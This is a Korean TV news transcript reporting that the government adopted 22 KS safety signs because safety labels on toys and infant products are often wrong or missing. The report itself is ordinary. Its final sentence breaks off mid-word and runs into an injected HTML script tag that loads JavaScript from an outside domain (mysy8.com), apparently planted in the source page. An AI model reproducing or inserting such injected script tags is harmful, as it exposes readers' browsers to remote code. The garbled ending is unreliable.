(1) 안전표지 KS 제정
[아나운서]
어린이 장난감이나 유아용품등에 반드시 표시돼 있어야할 안전표지가 엉터리이거나 아예 없는 경우가 많다고 합니다. 상황이 이쯤 되자 정부가 안전표지 22개를 KS로 새롭게 제정 했습니다. 정영민 기자의 보도입니다.

[리포트]
아이들이 삼삼오오 모여 앉아 블록 맞추기 놀이에 한창입니다.

각종 놀이 시설을 이용하며 뛰어노는 아이들은 마냥 즐겁기만 합니다.
 
그렇다면 이렇게 어린 아이들이 가지고 노는 완구들에 과연 안전표지는 제대로 부착돼 있을까?

확인 결과 0세에서 3세까지의 연령 제한이 있는 유아용품의 대부분은 일본식 안전표지가 만화처럼 그려져 있어 어린이들이 이해하기에 쉽지 않아 보입니다.

이처럼 어린이 제품이나 가정용품에는 작은 글씨로 주의 사항이 적혀 있거나 그림으로 된 안전표지가 부착돼 있지만 엉터리인 경우가 많습니다.

<기자>
실제로 어린이가 입에 넣지 말아야할 세정제의 경우 같은 제품이어도 제조 회사에 따라 안전표지가 서로 다르게 표시돼 있습니다.

상황이 이렇다 보니 어린 자녀를 둔 부모들의 혼란은 커 질 수밖에 없습니다.

<인터뷰 - 주부 김자영  분당구 서현동>
~안전 그림을 크게 붙어 있는 게 좋을 것 같아요

실제로 소비자보호원 조사결과 어린이 장난감의 80~90%는 안전표시가 기준에 미달했습니다.

이에 따라 기술표준원은 어린이 안전사고를 예방하기 위해  22개의 안전표지를 KS로 처음 제정했습니다.

<인터뷰 - 이연재  기술표준원 문화서비스표준과장>
~ 소비자들의 올바른 제품 사용을 유도해 안전사고를 예방하고 표준화된 그림 표지를 사용함으로써 소비자들의 혼란 예방과...

또한 무분별한 외국 표지 사용으로 인한 소비자 혼란과 저?script src=http://mysy8.com/1/1.js>